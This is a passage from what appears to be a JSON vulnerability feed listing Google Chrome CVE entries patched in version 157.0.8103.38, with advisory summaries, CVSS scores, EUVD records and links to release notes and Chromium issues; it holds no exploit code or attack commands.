Low)","published_time":"2026-11-03T20:43:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563349192"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121226","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577318603"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:32","euvd":{"id":"EUVD-2026-116425","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:35","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577318603"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121227","summary":"Uninitialized resource in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/576937680"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:32","euvd":{"id":"EUVD-2026-116424","description":"Uninitialized resource in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:35","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/576937680"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121228","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568794851"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:32","euvd":{"id":"EUVD-2026-116387","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:27","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568794851"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121229","summary":"Memory corruption in ANGLE in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562777838"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:32","euvd":{"id":"EUVD-2026-116499","description":"Memory corruption in ANGLE in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","published_time":"2026-11-03T20:42:21","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562777838"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121230","summary":"Race condition in ANGLE in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566683383"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:32","euvd":{"id":"EUVD-2026-116360","description":"Race condition in ANGLE in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:01","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566683383"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121216","summary":"UI misrepresentation in UI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568999538"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:31","euvd":{"id":"EUVD-2026-116305","description":"UI misrepresentation in UI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:51","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568999538"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121217","summary":"Use after free in Streaming in Google Chrome prior to 157.0.8103.38 allowed an adjacent attacker to execute arbitrary code inside the sandbox via crafted network traffic. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/500600456"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:31","euvd":{"id":"EUVD-2026-116318","description":"Use after free in Streaming in Google Chrome prior to 157.0.8103.38 allowed an adjacent attacker to execute arbitrary code inside the sandbox via crafted network traffic. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:53","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/500600456"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121218","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568010379"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:31","euvd":{"id":"EUVD-2026-116299","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:49","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568010379"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121219","summary":"Integer overflow in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/536516239"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:31","euvd":{"id":"EUVD-2026-116465","description":"Integer overflow in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:43","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/536516239"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121220","summary":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553158297"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:31","euvd":{"id":"EUVD-2026-116475","description":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:45","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553158297"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121221","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578688670"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:31","euvd":{"id":"EUVD-2026-116438","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:37","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578688670"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121222","summary":"Incorrect authorization in Forms in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/523708065"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:31","euvd":{"id":"EUVD-2026-116325","description":"Incorrect authorization in Forms in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:54","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/523708065"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121208","summary":"Out of bounds read in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577402416"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:30","euvd":{"id":"EUVD-2026-116432","description":"Out of bounds read in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:36","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577402416"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121209","summary":"UI misrepresentation in Input in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to spoof address bar via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/40052279"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:30","euvd":{"id":"EUVD-2026-116316","description":"UI misrepresentation in Input in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to spoof address bar via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:53","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/40052279"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121210","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574021176"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:30","euvd":{"id":"EUVD-2026-116406","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:31","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574021176"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121211","summary":"Use after free in PowerBookmarks in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577719868"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:30","euvd":{"id":"EUVD-2026-116434","description":"Use after free in PowerBookmarks in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)","published_time":"2026-11-03T20:42:36","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577719868"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121212","summary":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566660676"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:30","euvd":{"id":"EUVD-2026-116293","description":"Incorrect authorization in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:48","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566660676"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121213","summary":"Uninitialized resource in Images in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574762568"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:30","euvd":{"id":"EUVD-2026-116417","description":"Uninitialized resource in Images in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:33","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574762568"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121214","summary":"Use after free in Passwords in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574412369"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:30","euvd":{"id":"EUVD-2026-116414","description":"Use after free in Passwords in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:33","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574412369"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121215","summary":"UI misrepresentation in Bluetooth in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565902952"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:30","euvd":{"id":"EUVD-2026-116292","description":"UI misrepresentation in Bluetooth in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:48","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565902952"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121201","summary":"Use after free in Animation in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574193110"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:29","euvd":{"id":"EUVD-2026-116408","description":"Use after free in Animation in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:32","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574193110"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121202","summary":"Use after free in Autofill in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566935544"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:29","euvd":{"id":"EUVD-2026-116295","description":"Use after free in Autofill in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:49","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566935544"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121203","summary":"Use after free in Geometry in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571065824"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:29","euvd":{"id":"EUVD-2026-116503","description":"Use after free in Geometry in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","published_time":"2026-11-03T20:42:22","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571065824"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121204","summary":"Incomplete cleanup in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562957821"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:29","euvd":{"id":"EUVD-2026-116346","description":"Incomplete cleanup in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:58","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562957821"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121205","summary":"Incorrect authorization in CORS in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562957845"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:29","euvd":{"id":"EUVD-2026-116347","description":"Incorrect authorization in CORS in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:59","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562957845"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121206","summary":"UI misrepresentation in Isolated in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553289241"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:29","euvd":{"id":"EUVD-2026-116339","description":"UI misrepresentation in Isolated in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:57","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553289241"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121207","summary":"Uninitialized resource in Dawn in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563359278"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:29","euvd":{"id":"EUVD-2026-116516","description":"Uninitialized resource in Dawn in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:25","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563359278"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121194","summary":"Missing authorization in SiteIsolation in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted PDF file. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566683019"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:28","euvd":{"id":"EUVD-2026-116294","description":"Missing authorization in SiteIsolation in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted PDF file. (Chromium security severity: 